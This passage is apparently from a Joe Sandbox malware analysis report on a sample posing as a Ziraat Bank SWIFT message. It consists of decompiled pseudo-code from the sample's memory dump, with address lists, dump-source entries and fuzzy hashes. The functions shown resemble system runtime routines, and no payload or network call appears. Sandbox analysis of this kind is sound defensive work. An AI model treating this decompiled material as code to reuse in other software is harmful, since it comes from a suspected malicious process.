					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E01297D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E01297D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E01297D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E012F7794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}













                                                                        0x0129ae78
                                                                        0x0129ae7c
                                                                        0x0129ae7e
                                                                        0x0129ae81
                                                                        0x0129ae86
                                                                        0x0129ae8d
                                                                        0x012e2691
                                                                        0x0129ae93
                                                                        0x0129ae93
                                                                        0x0129ae93
                                                                        0x0129ae98
                                                                        0x0129ae9d
                                                                        0x012e26a2
                                                                        0x012e26b4
                                                                        0x012e26a4
                                                                        0x012e26ad
                                                                        0x012e26ad
                                                                        0x012e26b9
                                                                        0x00000000
                                                                        0x012e26bb
                                                                        0x00000000
                                                                        0x012e26bb
                                                                        0x0129aea3
                                                                        0x0129aea3
                                                                        0x0129aea3
                                                                        0x0129aeaa
                                                                        0x012e26c0
                                                                        0x012e26c9
                                                                        0x012e26c9
                                                                        0x0129aeb3
                                                                        0x012e26d4
                                                                        0x012e26e1
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e26e7
                                                                        0x012e26ee
                                                                        0x012e26f0
                                                                        0x012e26f9
                                                                        0x012e26f9
                                                                        0x012e2702
                                                                        0x012e2708
                                                                        0x012e2708
                                                                        0x012e270b
                                                                        0x012e270f
                                                                        0x012e2711
                                                                        0x012e2711
                                                                        0x012e2725
                                                                        0x012e2725
                                                                        0x00000000
                                                                        0x0129aeb9
                                                                        0x0129aeb9
                                                                        0x0129aebf
                                                                        0x0129aebf
                                                                        0x0129aeb3

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
                                                                        • Instruction ID: a9d3b56df192ab5ab4436020e7960e4016378701c1e927bc17e40403cf7298cd
                                                                        • Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
                                                                        • Instruction Fuzzy Hash: D921D432631686DFEB169B2DC948B3577E8EF45240F0900B0DE058B692D774DC40CAA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012AFD9B Relevance: .1, Instructions: 69COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 93%
                                                                        			E012AFD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E012876E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}










                                                                        0x012afd9b
                                                                        0x012afda0
                                                                        0x012afda1
                                                                        0x012afdab
                                                                        0x012afdad
                                                                        0x012afdb0
                                                                        0x012afdb8
                                                                        0x012afe0f
                                                                        0x012afde6
                                                                        0x012afde9
                                                                        0x012afdec
                                                                        0x012ec0c0
                                                                        0x012afdfe
                                                                        0x012afe06
                                                                        0x012afe06
                                                                        0x012ec0c8
                                                                        0x012afe2d
                                                                        0x012afe2d
                                                                        0x00000000
                                                                        0x012afe2d
                                                                        0x012ec0d1
                                                                        0x012ec0e0
                                                                        0x012ec0e5
                                                                        0x012ec0e5
                                                                        0x012ec0e8
                                                                        0x00000000
                                                                        0x012ec0e8
                                                                        0x012afdf4
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012afdf6
                                                                        0x012afdfa
                                                                        0x012afe1a
                                                                        0x012afe1f
                                                                        0x012afe1f
                                                                        0x012afdfc
                                                                        0x00000000
                                                                        0x012afdfc
                                                                        0x012afdcc
                                                                        0x012afdd0
                                                                        0x012afe26
                                                                        0x00000000
                                                                        0x012afe26
                                                                        0x012afdd8
                                                                        0x012afddb
                                                                        0x012afddd
                                                                        0x012afde0
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
                                                                        • Instruction ID: 789ec6759f74c5e6fe5a4aff5fbba0dc6f4e8d96244b4bed0a06a5eed8606da0
                                                                        • Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
                                                                        • Instruction Fuzzy Hash: 20217C72660A42DFDB36CF4DC740A6AFBE5EB94B10F65817EEA4587611D7389C00CB80
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012AB390 Relevance: .1, Instructions: 63COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 54%
                                                                        			E012AB390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E01292280(_t12, 0x1368608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E012B00C2(0x1368608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}











                                                                        0x012ab395
                                                                        0x012ab3a2
                                                                        0x012ab3a5
                                                                        0x012ab3aa
                                                                        0x012ab3b2
                                                                        0x012ab3ba
                                                                        0x012ab3bd
                                                                        0x012ab3c0
                                                                        0x012ab3c4
                                                                        0x012ab3c9
                                                                        0x012ea3e9
                                                                        0x012ea3ed
                                                                        0x012ea3f0
                                                                        0x012ea3ff
                                                                        0x012ea403
                                                                        0x012ea409
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012ea40b
                                                                        0x012ea40b
                                                                        0x012ea40f
                                                                        0x012ea415
                                                                        0x012ea423
                                                                        0x012ea423
                                                                        0x012ea415
                                                                        0x012ab3d1
                                                                        0x012ab3e8
                                                                        0x012ab3e8
                                                                        0x012ab3d9

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 6858e01c970a48b5874148f7a1aabdab68aea386f0969333465019f0a491bc05
                                                                        • Instruction ID: dedad706acf7cf0ccdcd7e2530d4d6edac8b1e675e28ebc78820d1f5c9141690
                                                                        • Opcode Fuzzy Hash: 6858e01c970a48b5874148f7a1aabdab68aea386f0969333465019f0a491bc05
                                                                        • Instruction Fuzzy Hash: 1A116B377312119BCB298B188E81A6F739BEBC9330B644179EE16C7390CA719C06C694
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01279240 Relevance: .1, Instructions: 63COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 77%
                                                                        			E01279240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x134f708);
				E012CD08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E012B95D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E012B95D0();
				_t33 =  *0x13684c4; // 0x0
				L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0x13684c4; // 0x0
				L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0x13684c4; // 0x0
				E01292280(L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x13686b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E012B95D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E012B95D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E01279325();
					_t50 =  *0x13684c4; // 0x0
					return E012CD0D1(L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}















                                                                        0x01279240
                                                                        0x01279242
                                                                        0x01279247
                                                                        0x0127924c
                                                                        0x0127924e
                                                                        0x01279255
                                                                        0x01279257
                                                                        0x0127925a
                                                                        0x0127925f
                                                                        0x0127925f
                                                                        0x01279266
                                                                        0x01279271
                                                                        0x01279276
                                                                        0x01279279
                                                                        0x0127927e
                                                                        0x01279295
                                                                        0x0127929a
                                                                        0x012792b1
                                                                        0x012792b6
                                                                        0x012792d7
                                                                        0x012792dc
                                                                        0x012792e0
                                                                        0x012792e6
                                                                        0x012792e8
                                                                        0x012792ee
                                                                        0x01279332
                                                                        0x01279333
                                                                        0x01279337
                                                                        0x01279338
                                                                        0x0127933a
                                                                        0x0127933a
                                                                        0x0127933d
                                                                        0x01279342
                                                                        0x01279342
                                                                        0x01279345
                                                                        0x01279349
                                                                        0x0127934e
                                                                        0x01279352
                                                                        0x01279357
                                                                        0x012792f4
                                                                        0x012792f4
                                                                        0x012792f6
                                                                        0x012792f9
                                                                        0x01279300
                                                                        0x01279306
                                                                        0x01279324
                                                                        0x01279324

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 39cdb7d639b181e2b4954a825e94b2d095f832acf2295c9b1990d1004763a53a
                                                                        • Instruction ID: 3cdd712bdd2d6d7e3d692275515fa77a7df01b3f180da68db8c3cced5cb26adf
                                                                        • Opcode Fuzzy Hash: 39cdb7d639b181e2b4954a825e94b2d095f832acf2295c9b1990d1004763a53a
                                                                        • Instruction Fuzzy Hash: 76215971061602DFCB26EF6CCA40F6AB7B9BF18718F0445ACE109966A2CB34E981CB44
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01304257 Relevance: .1, Instructions: 60COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 90%
                                                                        			E01304257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0x13508d0);
				E012CD08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E013041E8(__ebx, __edi, __ecx, _t39);
				E0128EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0x13687e4;
					_t18 =  *0x13687e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0x1365cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0x13687e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0x13687e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L01277055(_t31 + 0xfffffff8);
								_t24 =  *0x13687e0; // 0x0
								_t18 = _t24 - 1;
								 *0x13687e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0x1365cd0;
				if( *0x1365cd0 <= 0) {
					L01277055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0x13687e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0x13687e8 = _t30;
						 *0x13687e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E012CD0D1(L01304320());
			}















                                                                        0x01304257
                                                                        0x01304257
                                                                        0x01304257
                                                                        0x01304259
                                                                        0x0130425e
                                                                        0x01304263
                                                                        0x01304265
                                                                        0x01304273
                                                                        0x01304278
                                                                        0x0130427c
                                                                        0x0130427f
                                                                        0x01304281
                                                                        0x01304287
                                                                        0x013042d7
                                                                        0x013042d7
                                                                        0x013042da
                                                                        0x0130428d
                                                                        0x0130428d
                                                                        0x0130428f
                                                                        0x01304292
                                                                        0x01304297
                                                                        0x0130429c
                                                                        0x013042a0
                                                                        0x013042a6
                                                                        0x013042a8
                                                                        0x013042ae
                                                                        0x013042b3
                                                                        0x00000000
                                                                        0x013042ba
                                                                        0x013042ba
                                                                        0x013042bf
                                                                        0x013042c5
                                                                        0x013042ca
                                                                        0x013042cf
                                                                        0x013042d0
                                                                        0x00000000
                                                                        0x013042d0
                                                                        0x013042b3
                                                                        0x00000000
                                                                        0x013042a6
                                                                        0x0130429c
                                                                        0x013042dc
                                                                        0x013042dc
                                                                        0x013042e3
                                                                        0x01304309
                                                                        0x013042e5
                                                                        0x013042e5
                                                                        0x013042e8
                                                                        0x013042ee
                                                                        0x013042f0
                                                                        0x00000000
                                                                        0x013042f2
                                                                        0x013042f2
                                                                        0x013042f4
                                                                        0x013042f7
                                                                        0x013042f9
                                                                        0x01304300
                                                                        0x01304300
                                                                        0x013042f0
                                                                        0x0130430e
                                                                        0x0130431f

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: a3a1bac345dd5c90048cb85e88a53cc11043b54cdda97202df7b32888bc6a85a
                                                                        • Instruction ID: 6d8b3414701d65410717e5f5c6ae2295119d2e6367e34ce587dd33fdc2de0046
                                                                        • Opcode Fuzzy Hash: a3a1bac345dd5c90048cb85e88a53cc11043b54cdda97202df7b32888bc6a85a
                                                                        • Instruction Fuzzy Hash: 89216A70601701CFC726DF68D024A24BBF9FF89358F10C2AED2158B2A9DB35D691CB40
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A2397 Relevance: .1, Instructions: 59COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 29%
                                                                        			E012A2397(intOrPtr _a4) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t19;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				void* _t28;
				void* _t29;

				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				if( *0x136848c != 0) {
					L0129FAD0(0x1368610);
					if( *0x136848c == 0) {
						E0129FA00(0x1368610, _t19, _t27, 0x1368610);
						goto L1;
					} else {
						_push(0);
						_push(_a4);
						_t26 = 4;
						_t29 = E012A2581(0x1368610, 0x12550a0, _t26, _t27, _t28);
						E0129FA00(0x1368610, 0x12550a0, _t27, 0x1368610);
					}
				} else {
					L1:
					_t11 =  *0x1368614; // 0x0
					if(_t11 == 0) {
						_t11 = E012B4886(0x1251088, 1, 0x1368614);
					}
					_push(0);
					_push(_a4);
					_t25 = 4;
					_t29 = E012A2581(0x1368610, (_t11 << 4) + 0x1255070, _t25, _t27, _t28);
				}
				if(_t29 != 0) {
					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
					 *((char*)(_t29 + 0x40)) = 0;
				}
				return _t29;
			}















                                                                        0x012a23b0
                                                                        0x012a23b6
                                                                        0x012a2409
                                                                        0x012a2415
                                                                        0x012e5ae9
                                                                        0x00000000
                                                                        0x012a241b
                                                                        0x012a241b
                                                                        0x012a241d
                                                                        0x012a2427
                                                                        0x012a242e
                                                                        0x012a2430
                                                                        0x012a2430
                                                                        0x012a23b8
                                                                        0x012a23b8
                                                                        0x012a23b8
                                                                        0x012a23bf
                                                                        0x012a23fc
                                                                        0x012a23fc
                                                                        0x012a23c1
                                                                        0x012a23c3
                                                                        0x012a23d0
                                                                        0x012a23d8
                                                                        0x012a23d8
                                                                        0x012a23dc
                                                                        0x012a23de
                                                                        0x012a23e1
                                                                        0x012a23e1
                                                                        0x012a23ec

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 50a79a5b123c4f8bb6bf45cb411a7bdc7c36139d132ac4c3bd80a6dfac8971c1
                                                                        • Instruction ID: dd9b2cce6379a1a7d1576df33d908951e86e14f29aaed4d4726d810f68a2e2ae
                                                                        • Opcode Fuzzy Hash: 50a79a5b123c4f8bb6bf45cb411a7bdc7c36139d132ac4c3bd80a6dfac8971c1
                                                                        • Instruction Fuzzy Hash: 9A112B71734301A7E770A72DAC80B25BBDDFB64720F54845AFB42E7251C9B4E8408754
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012F46A7 Relevance: .1, Instructions: 59COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 93%
                                                                        			E012F46A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E012BF3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E012AD268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L012977F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}











                                                                        0x012f46b7
                                                                        0x012f46ba
                                                                        0x012f46c5
                                                                        0x012f46c8
                                                                        0x012f46d0
                                                                        0x012f46d4
                                                                        0x012f46e6
                                                                        0x012f46e9
                                                                        0x012f46f4
                                                                        0x012f46ff
                                                                        0x012f4705
                                                                        0x012f4706
                                                                        0x012f470c
                                                                        0x012f4713
                                                                        0x012f471b
                                                                        0x012f4723
                                                                        0x012f4725
                                                                        0x012f46d6
                                                                        0x012f46d9
                                                                        0x012f46db
                                                                        0x012f46db
                                                                        0x012f4732

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
                                                                        • Instruction ID: aa5ec5c67a8e7bd6c7983f52a1c1956de913a62e14d2808e5772f2ec8197f526
                                                                        • Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
                                                                        • Instruction Fuzzy Hash: 5F110272514248BFCB05AF5C98808BEB7B9EF95304F10806EF944C7351DA318D51C7A4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B37F5 Relevance: .1, Instructions: 57COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 87%
                                                                        			E012B37F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E01292280(_t6, 0x1368550);
				}
				_t29 = E012B387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E0128FFB0(0x1368550, _t27, 0x1368550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}











                                                                        0x012b37fa
                                                                        0x012b37fc
                                                                        0x012b3805
                                                                        0x012b3808
                                                                        0x012b3808
                                                                        0x012b3814
                                                                        0x012b3818
                                                                        0x012b3846
                                                                        0x012b3848
                                                                        0x012b384b
                                                                        0x012b384b
                                                                        0x012b3852
                                                                        0x00000000
                                                                        0x012b3854
                                                                        0x012b3856
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012b3863
                                                                        0x00000000
                                                                        0x012b3863
                                                                        0x012b381a
                                                                        0x012b381a
                                                                        0x012b381f
                                                                        0x012b386e
                                                                        0x012b386e
                                                                        0x012b3871
                                                                        0x012b3873
                                                                        0x012b3873
                                                                        0x012b3868
                                                                        0x00000000
                                                                        0x012b3868
                                                                        0x012b3821
                                                                        0x012b3826
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012b3828
                                                                        0x012b382a
                                                                        0x012b3841
                                                                        0x00000000
                                                                        0x012b3841

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
